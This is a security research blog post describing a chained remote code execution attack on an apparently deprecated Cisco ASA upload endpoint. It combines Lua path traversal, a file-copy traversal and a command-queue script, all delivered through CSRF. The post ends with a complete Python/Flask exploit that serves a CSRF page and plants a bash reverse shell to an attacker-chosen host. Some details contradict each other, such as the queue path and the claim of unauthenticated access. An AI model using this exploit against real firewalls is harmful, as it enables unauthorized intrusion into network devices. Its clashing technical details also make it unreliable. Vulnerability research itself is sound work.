blog.evan.lat (corporate-friendly)

security research & vulnerability analysis — main site at evan.lat. pgp for sensitive stuff: here.

Dead Code Walking: Unauthenticated RCE via a Deprecated Cisco ASA Upload Endpoint

Summary: An authenticated file upload endpoint in certain Cisco ASA firmware versions passes attacker-controlled filenames directly to io.open in write mode, with no path validation. An attacker can traverse out of the intended ramfs directory and write arbitrary files to web-accessible paths. By embedding a malicious Lua template and triggering server-side template rendering, they can execute Lua code. Chaining this with a second path traversal into Cisco’s copy_ramfs2ifs bindings, the attacker can write a payload to /tmp/cmd_que, which is periodically executed by run_cmd.sh. The result is arbitrary command execution. The endpoint also lacks CSRF protection, meaning the entire chain can be delivered without credentials by tricking a logged-in user into visiting a malicious page. This did not receive a CVE because the endpoint is an internal development stub not present in production builds past roughly 2018–2019.

If you’re here for the exploit, Ctrl+F for “the exploit”.


Every large, complex software product carries dead weight — half-finished features, internal debugging tools, endpoints that were never supposed to ship but somehow did. And honestly? Most of them are harmless. Occasionally one isn’t. What I keep coming back to is the pattern: it’s not the robust, heavily-scrutinized production code that bites you — it’s the quiet, forgotten stuff that was never supposed to leave the lab.

/+CSCOE+/upload.html is a page present in certain older Cisco ASA firmware versions that allows any authenticated user — regardless of their permission level — to upload a Lua script file. The Lua sandbox that processes these uploads is, by design, heavily restricted. But the path to code execution on the box turned out to be a lot shorter than the sandbox restrictions implied. Let me unpack the three-stage chain.


Stage 1 — Writing to ramfs via Path Traversal

The upload handler contains this:

local f1 = io.open(script_name, "w");

script_name is attacker-controlled. io.open is functionally equivalent to fopen — it opens a file at the exact path you give it, with no canonicalization and no validation. The tell is load-bearing: there’s no sanitization between user input and filesystem write. Path traversal is trivially possible:

io.write("enter filename: ")
local fname = io.read("*l") 
local f = io.open(fname, "w")
if f then
    f:write("lol hi\n") 
    f:close()
end
enter filename: ../../../../../../../../../../../../etc/lolwtf

root@...:/opt# ls -l /etc/lolwtf
-rw-r--r-- 1 root root 7 Mar 11 17:47 /etc/lolwtf

So we can write files anywhere ramfs allows. That’s useful, but we’re still inside the ramfs sandbox — files we write there are accessible under /+CSCOE+/, but we’re not on the persistent filesystem yet, and we don’t have command execution. The Lua sandbox locks out the obvious escape routes:

  • package.loadlib — blocked
  • os.execute — blocked
  • io.popen — blocked
  • debug.* — blocked

Time to go deeper. Here’s where it gets interesting.


Stage 2 — Escaping via copy_ramfs2ifs

Delving into the binary’s exposed Lua function table, I eventually found the ramfs2ifs binding family:

.data.rel.ro:000000000438CAD0  dq offset aCopyRamfs2ifs  ; "copy_ramfs2ifs"
.data.rel.ro:000000000438CAD8  dq offset sub_24E91E0

This is a Lua-callable function that copies files from ramfs to the integrated filesystem — the persistent storage of the ASA box. The security check in its implementation is worth examining closely — and honestly? It’s a masterclass in the gap between intent and reality:

if (global_copy_mode
    || (saved_ns = get_current_namespace()) != get_default_namespace()
    || strncmp("disk0:/csco_config", src_path, strlen("disk0:/csco_config")))
{
    result = fs_copy_file(fs_ctx, src_path, dst_path, flags);
}

The strncmp is doing a prefix check: it only enters the alternate code path if the source path doesn’t start with disk0:/csco_config. Absent that prefix, it calls fs_copy_file directly with our controlled paths. The path resolver: handles .. components — there’s explicit case handling for '.' followed by another '.' in the traversal code — but the question was whether that handling was exploitable.

After navigating the resolver logic, the answer was yes: copy_ramfs2ifs was traversable, letting us escape the expected source path bounds and copy our payload from ramfs directly to an arbitrary destination on the persistent filesystem. That’s the pivotal capability — persistent, arbitrary file write.


Stage 3 — The Command Queue

Searching the binary for anything related to command execution, I found this string:

.rodata:0000000003E2F718  aTmpRunCmdQue  db '/tmp/run_cmd_que',0

Cross-referencing it leads to a handler that invokes:

system("pkill -9 run_cmd.sh");
return system("/asa/scripts/run_cmd.sh &");

And run_cmd.sh is exactly what it sounds like — and it’s doing a tremendous amount of heavy lifting here:

#!/bin/bash
pipe=/tmp/run_cmd_que

if [[ ! -p $pipe ]]; then
    mkfifo $pipe
fi

IFS=""
while (true)
do
   while read -r line
   do
     chmod 777 "$line"
     "$line" &
   done < <(/bin/cat $pipe)
done

The script reads lines from /tmp/run_cmd_que and executes them as commands in the background. Write a shell script path to that file, and the script runs. The chain is complete — and it’s worth stating it explicitly because the elegance of it compounds:

  1. Upload a malicious Lua template via the traversal vulnerability. Embed a command that writes a reverse shell script path to ramfs.
  2. Trigger server-side template rendering to execute the Lua payload.
  3. Use copy_ramfs2ifs with a second path traversal to copy the payload to /tmp/cmd_que.
  4. run_cmd.sh picks it up and runs it.

And since the upload endpoint has no CSRF protection, steps 1 and 2 can be initiated entirely by getting a logged-in user to visit a page you control — no credentials required on the attacker’s side. It’s not an authenticated attack anymore. It’s a seamlessly unauthenticated one.


The Exploit

This is unlikely to work on modern production ASA builds — the endpoint was removed in firmware from roughly 2018–2019 onward. There are, however, organizations still quietly running vulnerable versions.

import sys, time, uuid, threading
import requests
import urllib.parse
from flask import Flask, Response

requests.packages.urllib3.disable_warnings()

if len(sys.argv) < 4:
    print(f"usage: {sys.argv[0]} <target> <localhost> <localport>")
    sys.exit(1)

datarg = sys.argv[1].rstrip("/")
localhost = sys.argv[2]
localport = int(sys.argv[3])
endpoint = f"{datarg}/+CSCOE+/upload.html?mode=add&include=1"
triggerpath = f"/../+CSCOE+/+{uuid.uuid4().hex[:8]}.html"
triggerurl = f"{datarg}/+CSCOE+/+{triggerpath.split('+')[-1]}"

plname = f"foobar_{uuid.uuid4().hex[:6]}"

REVSHELL = f"/bin/bash -i >& /dev/tcp/{localhost}/{localport} 0>&1"
luapl = f"""<?
local ifs = require("ifs")
local payload = "{REVSHELL}"
local tmpfile = "/+CSCOE+/{plname}"
local f = io.open(tmpfile, "w")
if f then
    f:write(payload .. "\\n")
    f:close()
end
ifs.copy_ramfs2ifs(tmpfile, "../../../tmp/cmd_que", 0)
OUT("ok")
?>"""

app = Flask(__name__)

@app.route("/")
def csrfpage():
    boundary = "----WebKitFormBoundary" + uuid.uuid4().hex[:16]

    body_parts = []
    body_parts.append(f"--{boundary}\r\n")
    body_parts.append(f'Content-Disposition: form-data; name="url1"\r\n\r\n')
    body_parts.append(f"{triggerpath}\r\n")
    body_parts.append(f"--{boundary}\r\n")
    body_parts.append(f'Content-Disposition: form-data; name="uploadedfile1"; filename="{triggerpath}"\r\n')
    body_parts.append("Content-Type: application/octet-stream\r\n\r\n")
    body_parts.append(f"{luapl}\r\n")
    body_parts.append(f"--{boundary}--\r\n")

    body_raw = "".join(body_parts)

    html = f"""<html>
<body>
<script>
var boundary = "{boundary}";
var body = {repr(body_raw)};
var xhr = new XMLHttpRequest();
xhr.open("POST", "{endpoint}", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
xhr.onreadystatechange = function() {{
    if (xhr.readyState === 4) {{
        setTimeout(function() {{
            var trigger = new XMLHttpRequest();
            trigger.open("GET", "{triggerurl}", true);
            trigger.withCredentials = true;
            trigger.onreadystatechange = function() {{
                if (trigger.readyState === 4) {{
                    document.body.innerHTML = "<h3>done (" + trigger.status + ")</h3>";
                }}
            }};
            trigger.send();
        }}, 1500);
    }}
}};
xhr.send(body);
</script>
</body>
</html>"""
    return Response(html, content_type="text/html")


def verify_upload():
    time.sleep(10)
    print(f"+ trigger url: {triggerurl}")
    try:
        r = requests.get(triggerurl, verify=False, timeout=10)
        if r.status_code == 200 and "ok" in r.text:
            print("+ trigger fired")
        else:
            print(f"+ trigger returned {r.status_code}")
    except Exception as e:
        print(f"+ verify failed: {e}")


if __name__ == "__main__":
    print(f"+ serving CSRF page")
    print(f"+ run nc on {localport}")
    app.run(host="0.0.0.0", port=8080)

The page serves a CSRF payload that uploads the second-stage Lua template, triggers it, and catches the reverse shell.


Why No CVE?

The endpoint was an internal development stub that never made it into general availability past certain EOL firmware versions. Cisco’s response was that it didn’t meet the bar for a CVE given the deployment footprint. Fair enough — but it’s worth noting that there are organizations still running those versions, and this chain works cleanly against them.

Part 2 coming — same ASA codebase, different sinks that do qualify.

← back